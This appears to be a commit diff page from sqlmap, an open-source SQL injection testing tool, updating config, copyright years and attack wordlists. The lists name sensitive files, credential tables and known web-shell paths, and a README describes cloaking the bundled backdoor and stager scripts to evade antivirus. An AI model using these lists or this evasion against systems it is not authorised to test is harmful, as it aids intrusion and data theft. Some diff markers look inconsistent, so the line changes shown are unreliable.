Speedup of caching for char encoding (non-Unicode chars in page)

Trivial update
Minor update
2025-12-06 20:51:31 +00:00 · 2021-03-03 23:08:00 +01:00 · 2021-02-25 12:19:08 +01:00 · 2021-02-25 11:39:08 +01:00 · 2021-02-25 11:22:10 +01:00 · 2021-02-23 12:00:59 +01:00
475 changed files with 8153 additions and 7015 deletions
--- a/.travis.yml
+++ b/.travis.yml
@@ -9,7 +9,7 @@ jobs:
          dist: trusty
        - python: 3.6
          dist: trusty
-        - python: 3.9-dev
+        - python: nightly
          dist: bionic
 git:
    depth: 1
--- a/2
+++ b/2
@@ -1,7 +1,7 @@
 COPYING -- Describes the terms under which sqlmap is distributed. A copy
 of the GNU General Public License (GPL) is appended to this file.
-sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
+sqlmap is (C) 2006-2021 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
 This program is free software; you may redistribute and/or modify it under
 the terms of the GNU General Public License as published by the Free
--- a/README.md
+++ b/README.md
@@ -1,10 +1,10 @@
 # sqlmap ![](https://i.imgur.com/fe85aVR.png)
-[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
 sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
-**The sqlmap project is currently searching for sponsor(s).**
+**sqlmap is sponsored by [SpyderSec](https://spydersec.com/).**
 Screenshots
 ----
@@ -71,3 +71,4 @@ Translations
 * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
 * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
 * [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
 * [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md)
--- a/data/html/index.html
+++ b/data/html/index.html
@@ -4,6 +4,7 @@
 <html lang="en">
 <head>
    <title>DEMO</title>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
@@ -74,7 +75,7 @@
      <div class="sidebar-nav navbar-collapse">
        <ul class="nav" id="side-menu">
          <li>
-            <a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
+            <a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
            <ul class="nav nav-second-level">
              <li><a>Target</a></li>
              <li><a>Request</a></li>
--- a/data/shell/README.txt
+++ b/data/shell/README.txt
@@ -1,7 +1,7 @@
-Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
+Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
 To prepare the original scripts to the cloaked form use this command:
-find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
+find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
 To get back them into the original form use this:
-find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
+find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
--- a/data/shell/backdoors/backdoor.asp_
+++ b/data/shell/backdoors/backdoor.asp_
--- a/data/shell/backdoors/backdoor.aspx_
+++ b/data/shell/backdoors/backdoor.aspx_
--- a/data/shell/backdoors/backdoor.jsp_
+++ b/data/shell/backdoors/backdoor.jsp_
--- a/data/shell/backdoors/backdoor.php_
+++ b/data/shell/backdoors/backdoor.php_
--- a/data/shell/stagers/stager.asp_
+++ b/data/shell/stagers/stager.asp_
--- a/data/shell/stagers/stager.aspx_
+++ b/data/shell/stagers/stager.aspx_
--- a/data/shell/stagers/stager.jsp_
+++ b/data/shell/stagers/stager.jsp_
--- a/data/shell/stagers/stager.php_
+++ b/data/shell/stagers/stager.php_
--- a/data/txt/common-columns.txt
+++ b/data/txt/common-columns.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 id
@@ -485,6 +485,8 @@ llave
 chaveta
 tono
 cuna
 correo
 contrasenia
 # german
@@ -798,7 +800,9 @@ news
 nick
 number
 nummer
 passhash
 pass_hash
 password_hash
 passwordsalt
 personal_key
 phone
@@ -2726,3 +2730,4 @@ confidential
 # Misc
 u_pass
 hashedPw
--- a/data/txt/common-files.txt
+++ b/data/txt/common-files.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # Reference: https://gist.github.com/sckalath/78ad449346171d29241a
@@ -679,17 +679,6 @@
 /.htaccess
 /.htpasswd
 /[jboss]/server/default/conf/jboss-minimal.xml
 /[jboss]/server/default/conf/jboss-service.xml
 /[jboss]/server/default/conf/jndi.properties
 /[jboss]/server/default/conf/log4j.xml
 /[jboss]/server/default/conf/login-config.xml
 /[jboss]/server/default/conf/server.log.properties
 /[jboss]/server/default/conf/standardjaws.xml
 /[jboss]/server/default/conf/standardjboss.xml
 /[jboss]/server/default/deploy/jboss-logging.xml
 /[jboss]/server/default/log/boot.log
 /[jboss]/server/default/log/server.log
 /access.log
 /access_log
 /apache/conf/httpd.conf
@@ -1024,17 +1013,17 @@
 /mysql/my.cnf
 /mysql/my.ini
 /netserver/bin/stable/apache/php.ini
-/opt/[jboss]/server/default/conf/jboss-minimal.xml
+/opt/jboss/server/default/conf/jboss-minimal.xml
-/opt/[jboss]/server/default/conf/jboss-service.xml
+/opt/jboss/server/default/conf/jboss-service.xml
-/opt/[jboss]/server/default/conf/jndi.properties
+/opt/jboss/server/default/conf/jndi.properties
-/opt/[jboss]/server/default/conf/log4j.xml
+/opt/jboss/server/default/conf/log4j.xml
-/opt/[jboss]/server/default/conf/login-config.xml
+/opt/jboss/server/default/conf/login-config.xml
-/opt/[jboss]/server/default/conf/server.log.properties
+/opt/jboss/server/default/conf/server.log.properties
-/opt/[jboss]/server/default/conf/standardjaws.xml
+/opt/jboss/server/default/conf/standardjaws.xml
-/opt/[jboss]/server/default/conf/standardjboss.xml
+/opt/jboss/server/default/conf/standardjboss.xml
-/opt/[jboss]/server/default/deploy/jboss-logging.xml
+/opt/jboss/server/default/deploy/jboss-logging.xml
-/opt/[jboss]/server/default/log/boot.log
+/opt/jboss/server/default/log/boot.log
-/opt/[jboss]/server/default/log/server.log
+/opt/jboss/server/default/log/server.log
 /opt/apache/apache.conf
 /opt/apache/apache2.conf
 /opt/apache/conf/apache.conf
@@ -1075,17 +1064,6 @@
 /private/etc/httpd/httpd.conf
 /private/etc/httpd/httpd.conf.default
 /private/etc/squirrelmail/config/config.php
 /private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
 /private/tmp/[jboss]/server/default/conf/jboss-service.xml
 /private/tmp/[jboss]/server/default/conf/jndi.properties
 /private/tmp/[jboss]/server/default/conf/log4j.xml
 /private/tmp/[jboss]/server/default/conf/login-config.xml
 /private/tmp/[jboss]/server/default/conf/server.log.properties
 /private/tmp/[jboss]/server/default/conf/standardjaws.xml
 /private/tmp/[jboss]/server/default/conf/standardjboss.xml
 /private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
 /private/tmp/[jboss]/server/default/log/boot.log
 /private/tmp/[jboss]/server/default/log/server.log
 /proc/cpuinfo
 /proc/devices
 /proc/meminfo
@@ -1114,17 +1092,17 @@
 /proc/self/stat
 /proc/self/status
 /proc/version
-/program files/[jboss]/server/default/conf/jboss-minimal.xml
+/program files/jboss/server/default/conf/jboss-minimal.xml
-/program files/[jboss]/server/default/conf/jboss-service.xml
+/program files/jboss/server/default/conf/jboss-service.xml
-/program files/[jboss]/server/default/conf/jndi.properties
+/program files/jboss/server/default/conf/jndi.properties
-/program files/[jboss]/server/default/conf/log4j.xml
+/program files/jboss/server/default/conf/log4j.xml
-/program files/[jboss]/server/default/conf/login-config.xml
+/program files/jboss/server/default/conf/login-config.xml
-/program files/[jboss]/server/default/conf/server.log.properties
+/program files/jboss/server/default/conf/server.log.properties
-/program files/[jboss]/server/default/conf/standardjaws.xml
+/program files/jboss/server/default/conf/standardjaws.xml
-/program files/[jboss]/server/default/conf/standardjboss.xml
+/program files/jboss/server/default/conf/standardjboss.xml
-/program files/[jboss]/server/default/deploy/jboss-logging.xml
+/program files/jboss/server/default/deploy/jboss-logging.xml
-/program files/[jboss]/server/default/log/boot.log
+/program files/jboss/server/default/log/boot.log
-/program files/[jboss]/server/default/log/server.log
+/program files/jboss/server/default/log/server.log
 /program files/apache group/apache/apache.conf
 /program files/apache group/apache/apache2.conf
 /program files/apache group/apache/conf/apache.conf
@@ -1177,17 +1155,17 @@
 /system/library/webobjects/adaptors/apache2.2/apache.conf
 /temp/sess_
 /thttpd_log
-/tmp/[jboss]/server/default/conf/jboss-minimal.xml
+/tmp/jboss/server/default/conf/jboss-minimal.xml
-/tmp/[jboss]/server/default/conf/jboss-service.xml
+/tmp/jboss/server/default/conf/jboss-service.xml
-/tmp/[jboss]/server/default/conf/jndi.properties
+/tmp/jboss/server/default/conf/jndi.properties
-/tmp/[jboss]/server/default/conf/log4j.xml
+/tmp/jboss/server/default/conf/log4j.xml
-/tmp/[jboss]/server/default/conf/login-config.xml
+/tmp/jboss/server/default/conf/login-config.xml
-/tmp/[jboss]/server/default/conf/server.log.properties
+/tmp/jboss/server/default/conf/server.log.properties
-/tmp/[jboss]/server/default/conf/standardjaws.xml
+/tmp/jboss/server/default/conf/standardjaws.xml
-/tmp/[jboss]/server/default/conf/standardjboss.xml
+/tmp/jboss/server/default/conf/standardjboss.xml
-/tmp/[jboss]/server/default/deploy/jboss-logging.xml
+/tmp/jboss/server/default/deploy/jboss-logging.xml
-/tmp/[jboss]/server/default/log/boot.log
+/tmp/jboss/server/default/log/boot.log
-/tmp/[jboss]/server/default/log/server.log
+/tmp/jboss/server/default/log/server.log
 /tmp/access.log
 /tmp/sess_
 /usr/apache/conf/httpd.conf
@@ -1202,17 +1180,17 @@
 /usr/lib/php.ini
 /usr/lib/php/php.ini
 /usr/lib/security/mkuser.default
-/usr/local/[jboss]/server/default/conf/jboss-minimal.xml
+/usr/local/jboss/server/default/conf/jboss-minimal.xml
-/usr/local/[jboss]/server/default/conf/jboss-service.xml
+/usr/local/jboss/server/default/conf/jboss-service.xml
-/usr/local/[jboss]/server/default/conf/jndi.properties
+/usr/local/jboss/server/default/conf/jndi.properties
-/usr/local/[jboss]/server/default/conf/log4j.xml
+/usr/local/jboss/server/default/conf/log4j.xml
-/usr/local/[jboss]/server/default/conf/login-config.xml
+/usr/local/jboss/server/default/conf/login-config.xml
-/usr/local/[jboss]/server/default/conf/server.log.properties
+/usr/local/jboss/server/default/conf/server.log.properties
-/usr/local/[jboss]/server/default/conf/standardjaws.xml
+/usr/local/jboss/server/default/conf/standardjaws.xml
-/usr/local/[jboss]/server/default/conf/standardjboss.xml
+/usr/local/jboss/server/default/conf/standardjboss.xml
-/usr/local/[jboss]/server/default/deploy/jboss-logging.xml
+/usr/local/jboss/server/default/deploy/jboss-logging.xml
-/usr/local/[jboss]/server/default/log/boot.log
+/usr/local/jboss/server/default/log/boot.log
-/usr/local/[jboss]/server/default/log/server.log
+/usr/local/jboss/server/default/log/server.log
 /usr/local/apache/apache.conf
 /usr/local/apache/apache2.conf
 /usr/local/apache/conf/access.conf
@@ -1802,3 +1780,22 @@
 /usr/share/squirrelmail/config/config.php
 /private/etc/squirrelmail/config/config.php
 /srv/www/htdos/squirrelmail/config/config.php
 # Web shells
 /var/www/html/backdoor.php
 /var/www/html/b374k.php
 /var/www/html/c99.php
 /var/www/html/cmd.php
 /var/www/html/r57.php
 /var/www/html/shell.php
 /var/www/html/wso.php
 # Misc
 /etc/lib/nfs/etab
 /app/app.js
 /app/configure.js
 /app/config/config.json
 /flag.txt
 /readflag
--- a/data/txt/common-outputs.txt
+++ b/data/txt/common-outputs.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 [Banners]
--- a/data/txt/common-tables.txt
+++ b/data/txt/common-tables.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 users
@@ -1825,6 +1825,7 @@ jos_comprofiler_members
 jos_joomblog_users
 jos_moschat_users
 knews_lostpass
 korisnik
 korisnici
 kpro_adminlogs
 kpro_user
@@ -2215,6 +2216,7 @@ admin_pwd
 admin_pass
 adminpassword
 admin_password
 admin_passwords
 usrpass
 usr_pass
 pass
@@ -3221,6 +3223,10 @@ nuke_gallery_pictures_newpicture
 Books
 grupo
 facturas
 aclaraciones
 preguntas
 personas
 estadisticas
 # site:cn
@@ -3497,3 +3503,78 @@ utenti
 wm_products
 wp_payout_history
 zamowienia
 # https://deliciousbrains.com/tour-wordpress-database/
 wp_blogmeta
 wp_blogs
 wp_blog_versions
 wp_commentmeta
 wp_comments
 wp_links
 wp_options
 wp_postmeta
 wp_posts
 wp_registration_log
 wp_signups
 wp_site
 wp_sitemeta
 wp_termmeta
 wp_term_relationships
 wp_terms
 wp_term_taxonomy
 wp_usermeta
 wp_users
 # https://docs.joomla.org/Tables
 assets
 bannerclient
 banner
 bannertrack
 categories
 components
 contact_details
 content_frontpage
 content_rating
 content
 core_acl_aro_groups
 core_acl_aro_map
 core_acl_aro_sections
 core_acl_aro
 core_acl_groups_aro_map
 core_log_items
 core_log_searches
 extensions
 groups
 languages
 menu
 menu_types
 messages_cfg
 messages
 migration_backlinks
 modules_menu
 modules
 newsfeeds
 plugins
 poll_data
 poll_date
 poll_menu
 polls
 redirect_links
 Schemas
 sections
 session
 stats_agents
 templates_menu
 template_styles
 update_categories
 update_sites_extensions
 update_sites
 updates
 usergroups
 user_profiles
 users
 user_usergroup_map
 viewlevels
 weblinks
--- a/data/txt/keywords.txt
+++ b/data/txt/keywords.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
@@ -452,26 +452,13 @@ WRITEXOR
 YEAR_MONTH
 ZEROFILL
-# PostgreSQL keywords (reference: https://www.postgresql.org/docs/9.3/sql-keywords-appendix.html)
+# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
 A
 ABORT
 ABS
-ABSENT
+ACOS
 ABSOLUTE
 ACCESS
 ACCORDING
 ACTION
 ADA
 ADD
 ADMIN
 AFTER
 AGGREGATE
 ALL
 ALLOCATE
 ALSO
 ALTER
 ALWAYS
 ANALYSE
 ANALYZE
 AND
@@ -483,110 +470,61 @@ ARRAY_MAX_CARDINALITY
 AS
 ASC
 ASENSITIVE
-ASSERTION
+ASIN
 ASSIGNMENT
 ASYMMETRIC
 AT
 ATAN
 ATOMIC
 ATTRIBUTE
 ATTRIBUTES
 AUTHORIZATION
 AVG
 BACKWARD
 BASE64
 BEFORE
 BEGIN
 BEGIN_FRAME
 BEGIN_PARTITION
 BERNOULLI
 BETWEEN
 BIGINT
 BINARY
 BIT
 BIT_LENGTH
 BLOB
 BLOCKED
 BOM
 BOOLEAN
 BOTH
 BREADTH
 BY
 C
 CACHE
 CALL
 CALLED
 CARDINALITY
 CASCADE
 CASCADED
 CASE
 CAST
 CATALOG
 CATALOG_NAME
 CEIL
 CEILING
 CHAIN
 CHAR
 CHARACTER
 CHARACTERISTICS
 CHARACTERS
 CHARACTER_LENGTH
 CHARACTER_SET_CATALOG
 CHARACTER_SET_NAME
 CHARACTER_SET_SCHEMA
 CHAR_LENGTH
 CHECK
-CHECKPOINT
+CLASSIFIER
 CLASS
 CLASS_ORIGIN
 CLOB
 CLOSE
 CLUSTER
 COALESCE
 COBOL
 COLLATE
 COLLATION
 COLLATION_CATALOG
 COLLATION_NAME
 COLLATION_SCHEMA
 COLLECT
 COLUMN
 COLUMNS
 COLUMN_NAME
 COMMAND_FUNCTION
 COMMAND_FUNCTION_CODE
 COMMENT
 COMMENTS
 COMMIT
 COMMITTED
 CONCURRENTLY
 CONDITION
 CONDITION_NUMBER
 CONFIGURATION
 CONNECT
 CONNECTION
 CONNECTION_NAME
 CONSTRAINT
 CONSTRAINTS
 CONSTRAINT_CATALOG
 CONSTRAINT_NAME
 CONSTRAINT_SCHEMA
 CONSTRUCTOR
 CONTAINS
 CONTENT
 CONTINUE
 CONTROL
 CONVERSION
 CONVERT
 COPY
 CORR
 CORRESPONDING
-COST
+COS
 COSH
 COUNT
 COVAR_POP
 COVAR_SAMP
 CREATE
 CROSS
 CSV
 CUBE
 CUME_DIST
 CURRENT
@@ -602,44 +540,25 @@ CURRENT_TIMESTAMP
 CURRENT_TRANSFORM_GROUP_FOR_TYPE
 CURRENT_USER
 CURSOR
 CURSOR_NAME
 CYCLE
 DATA
 DATABASE
 DATALINK
 DATE
 DATETIME_INTERVAL_CODE
 DATETIME_INTERVAL_PRECISION
 DAY
 DB
 DEALLOCATE
 DEC
 DECFLOAT
 DECIMAL
 DECLARE
 DEFAULT
 DEFAULTS
 DEFERRABLE
-DEFERRED
+DEFINE
 DEFINED
 DEFINER
 DEGREE
 DELETE
 DELIMITER
 DELIMITERS
 DENSE_RANK
 DEPTH
 DEREF
 DERIVED
 DESC
 DESCRIBE
 DESCRIPTOR
 DETERMINISTIC
 DIAGNOSTICS
 DICTIONARY
 DISABLE
 DISCARD
 DISCONNECT
 DISPATCH
 DISTINCT
 DLNEWCOPY
 DLPREVIOUSCOPY
@@ -653,313 +572,176 @@ DLURLSCHEME
 DLURLSERVER
 DLVALUE
 DO
 DOCUMENT
 DOMAIN
 DOUBLE
 DROP
 DYNAMIC
 DYNAMIC_FUNCTION
 DYNAMIC_FUNCTION_CODE
 EACH
 ELEMENT
 ELSE
 EMPTY
 ENABLE
 ENCODING
 ENCRYPTED
 END
 END-EXEC
 END_FRAME
 END_PARTITION
 ENFORCED
 ENUM
 EQUALS
 ESCAPE
 EVENT
 EVERY
 EXCEPT
 EXCEPTION
 EXCLUDE
 EXCLUDING
 EXCLUSIVE
 EXEC
 EXECUTE
 EXISTS
 EXP
 EXPLAIN
 EXPRESSION
 EXTENSION
 EXTERNAL
 EXTRACT
 FALSE
 FAMILY
 FETCH
 FILE
 FILTER
 FINAL
 FIRST
 FIRST_VALUE
 FLAG
 FLOAT
 FLOOR
 FOLLOWING
 FOR
 FORCE
 FOREIGN
 FORTRAN
 FORWARD
 FOUND
 FRAME_ROW
 FREE
 FREEZE
 FROM
 FS
 FULL
 FUNCTION
 FUNCTIONS
 FUSION
 G
 GENERAL
 GENERATED
 GET
 GLOBAL
 GO
 GOTO
 GRANT
 GRANTED
 GREATEST
 GROUP
 GROUPING
 GROUPS
 HANDLER
 HAVING
 HEADER
 HEX
 HIERARCHY
 HOLD
 HOUR
 ID
 IDENTITY
 IF
 IGNORE
 ILIKE
 IMMEDIATE
 IMMEDIATELY
 IMMUTABLE
 IMPLEMENTATION
 IMPLICIT
 IMPORT
 IN
 INCLUDING
 INCREMENT
 INDENT
 INDEX
 INDEXES
 INDICATOR
-INHERIT
+INITIAL
 INHERITS
 INITIALLY
 INLINE
 INNER
 INOUT
 INPUT
 INSENSITIVE
 INSERT
 INSTANCE
 INSTANTIABLE
 INSTEAD
 INT
 INTEGER
 INTEGRITY
 INTERSECT
 INTERSECTION
 INTERVAL
 INTO
 INVOKER
 IS
 ISNULL
 ISOLATION
 JOIN
-K
+JSON_ARRAY
-KEY
+JSON_ARRAYAGG
-KEY_MEMBER
+JSON_EXISTS
-KEY_TYPE
+JSON_OBJECT
-LABEL
+JSON_OBJECTAGG
 JSON_QUERY
 JSON_TABLE
 JSON_TABLE_PRIMITIVE
 JSON_VALUE
 LAG
 LANGUAGE
 LARGE
 LAST
 LAST_VALUE
 LATERAL
 LC_COLLATE
 LC_CTYPE
 LEAD
 LEADING
 LEAKPROOF
 LEAST
 LEFT
 LENGTH
 LEVEL
 LIBRARY
 LIKE
 LIKE_REGEX
 LIMIT
-LINK
+LISTAGG
 LISTEN
 LN
 LOAD
 LOCAL
 LOCALTIME
 LOCALTIMESTAMP
-LOCATION
+LOG
-LOCATOR
+LOG10
 LOCK
 LOWER
 M
 MAP
 MAPPING
 MATCH
-MATCHED
+MATCHES
-MATERIALIZED
+MATCH_NUMBER
 MATCH_RECOGNIZE
 MAX
-MAXVALUE
+MEASURES
 MAX_CARDINALITY
 MEMBER
 MERGE
 MESSAGE_LENGTH
 MESSAGE_OCTET_LENGTH
 MESSAGE_TEXT
 METHOD
 MIN
 MINUTE
 MINVALUE
 MOD
 MODE
 MODIFIES
 MODULE
 MONTH
 MORE
 MOVE
 MULTISET
 MUMPS
 NAME
 NAMES
 NAMESPACE
 NATIONAL
 NATURAL
 NCHAR
 NCLOB
 NESTING
 NEW
 NEXT
 NFC
 NFD
 NFKC
 NFKD
 NIL
 NO
 NONE
 NORMALIZE
 NORMALIZED
 NOT
 NOTHING
 NOTIFY
 NOTNULL
 NOWAIT
 NTH_VALUE
 NTILE
 NULL
 NULLABLE
 NULLIF
 NULLS
 NUMBER
 NUMERIC
 OBJECT
 OCCURRENCES_REGEX
 OCTETS
 OCTET_LENGTH
 OF
 OFF
 OFFSET
 OIDS
 OLD
 OMIT
 ON
 ONE
 ONLY
 OPEN
 OPERATOR
 OPTION
 OPTIONS
 OR
 ORDER
 ORDERING
 ORDINALITY
 OTHERS
 OUT
 OUTER
 OUTPUT
 OVER
 OVERLAPS
 OVERLAY
 OVERRIDING
 OWNED
 OWNER
 P
 PAD
 PARAMETER
 PARAMETER_MODE
 PARAMETER_NAME
 PARAMETER_ORDINAL_POSITION
 PARAMETER_SPECIFIC_CATALOG
 PARAMETER_SPECIFIC_NAME
 PARAMETER_SPECIFIC_SCHEMA
 PARSER
 PARTIAL
 PARTITION
-PASCAL
+PATTERN
-PASSING
+PER
 PASSTHROUGH
 PASSWORD
 PATH
 PERCENT
 PERCENTILE_CONT
 PERCENTILE_DISC
 PERCENT_RANK
 PERIOD
-PERMISSION
+PERMUTE
 PLACING
 PLANS
 PLI
 PORTION
 POSITION
 POSITION_REGEX
 POWER
 PRECEDES
 PRECEDING
 PRECISION
 PREPARE
 PREPARED
 PRESERVE
 PRIMARY
 PRIOR
 PRIVILEGES
 PROCEDURAL
 PROCEDURE
-PROGRAM
+PTF
 PUBLIC
 QUOTE
 RANGE
 RANK
 READ
 READS
 REAL
 REASSIGN
 RECHECK
 RECOVERY
 RECURSIVE
 REF
 REFERENCES
 REFERENCING
 REFRESH
 REGR_AVGX
 REGR_AVGY
 REGR_COUNT
@@ -969,185 +751,87 @@ REGR_SLOPE
 REGR_SXX
 REGR_SXY
 REGR_SYY
 REINDEX
 RELATIVE
 RELEASE
 RENAME
 REPEATABLE
 REPLACE
 REPLICA
 REQUIRING
 RESET
 RESPECT
 RESTART
 RESTORE
 RESTRICT
 RESULT
 RETURN
 RETURNED_CARDINALITY
 RETURNED_LENGTH
 RETURNED_OCTET_LENGTH
 RETURNED_SQLSTATE
 RETURNING
 RETURNS
 REVOKE
 RIGHT
 ROLE
 ROLLBACK
 ROLLUP
 ROUTINE
 ROUTINE_CATALOG
 ROUTINE_NAME
 ROUTINE_SCHEMA
 ROW
 ROWS
 ROW_COUNT
 ROW_NUMBER
-RULE
+RUNNING
 SAVEPOINT
 SCALE
 SCHEMA
 SCHEMA_NAME
 SCOPE
 SCOPE_CATALOG
 SCOPE_NAME
 SCOPE_SCHEMA
 SCROLL
 SEARCH
 SECOND
-SECTION
+SEEK
 SECURITY
 SELECT
 SELECTIVE
 SELF
 SENSITIVE
 SEQUENCE
 SEQUENCES
 SERIALIZABLE
 SERVER
 SERVER_NAME
 SESSION
 SESSION_USER
 SET
 SETOF
 SETS
 SHARE
 SHOW
 SIMILAR
-SIMPLE
+SIN
-SIZE
+SINH
 SKIP
 SMALLINT
 SNAPSHOT
 SOME
 SOURCE
 SPACE
 SPECIFIC
 SPECIFICTYPE
 SPECIFIC_NAME
 SQL
 SQLCODE
 SQLERROR
 SQLEXCEPTION
 SQLSTATE
 SQLWARNING
 SQRT
 STABLE
 STANDALONE
 START
 STATE
 STATEMENT
 STATIC
 STATISTICS
 STDDEV_POP
 STDDEV_SAMP
 STDIN
 STDOUT
 STORAGE
 STRICT
 STRIP
 STRUCTURE
 STYLE
 SUBCLASS_ORIGIN
 SUBMULTISET
 SUBSET
 SUBSTRING
 SUBSTRING_REGEX
 SUCCEEDS
 SUM
 SYMMETRIC
 SYSID
 SYSTEM
 SYSTEM_TIME
 SYSTEM_USER
 T
 TABLE
 TABLES
 TABLESAMPLE
-TABLESPACE
+TAN
-TABLE_NAME
+TANH
 TEMP
 TEMPLATE
 TEMPORARY
 TEXT
 THEN
 TIES
 TIME
 TIMESTAMP
 TIMEZONE_HOUR
 TIMEZONE_MINUTE
 TO
 TOKEN
 TOP_LEVEL_COUNT
 TRAILING
 TRANSACTION
 TRANSACTIONS_COMMITTED
 TRANSACTIONS_ROLLED_BACK
 TRANSACTION_ACTIVE
 TRANSFORM
 TRANSFORMS
 TRANSLATE
 TRANSLATE_REGEX
 TRANSLATION
 TREAT
 TRIGGER
 TRIGGER_CATALOG
 TRIGGER_NAME
 TRIGGER_SCHEMA
 TRIM
 TRIM_ARRAY
 TRUE
 TRUNCATE
 TRUSTED
 TYPE
 TYPES
 UESCAPE
 UNBOUNDED
 UNCOMMITTED
 UNDER
 UNENCRYPTED
 UNION
 UNIQUE
 UNKNOWN
-UNLINK
+UNMATCHED
 UNLISTEN
 UNLOGGED
 UNNAMED
 UNNEST
 UNTIL
 UNTYPED
 UPDATE
 UPPER
 URI
 USAGE
 USER
 USER_DEFINED_TYPE_CATALOG
 USER_DEFINED_TYPE_CODE
 USER_DEFINED_TYPE_NAME
 USER_DEFINED_TYPE_SCHEMA
 USING
 VACUUM
 VALID
 VALIDATE
 VALIDATOR
 VALUE
 VALUES
 VALUE_OF
@@ -1158,22 +842,15 @@ VARYING
 VAR_POP
 VAR_SAMP
 VERBOSE
 VERSION
 VERSIONING
 VIEW
 VOLATILE
 WHEN
 WHENEVER
 WHERE
 WHITESPACE
 WIDTH_BUCKET
 WINDOW
 WITH
 WITHIN
 WITHOUT
 WORK
 WRAPPER
 WRITE
 XML
 XMLAGG
 XMLATTRIBUTES
@@ -1181,7 +858,6 @@ XMLBINARY
 XMLCAST
 XMLCOMMENT
 XMLCONCAT
 XMLDECLARATION
 XMLDOCUMENT
 XMLELEMENT
 XMLEXISTS
@@ -1191,12 +867,8 @@ XMLNAMESPACES
 XMLPARSE
 XMLPI
 XMLQUERY
 XMLROOT
 XMLSCHEMA
 XMLSERIALIZE
 XMLTABLE
 XMLTEXT
 XMLVALIDATE
 YEAR
 YES
 ZONE
--- a/data/txt/smalldict.txt
+++ b/data/txt/smalldict.txt
--- a/data/txt/user-agents.txt
+++ b/data/txt/user-agents.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # Opera
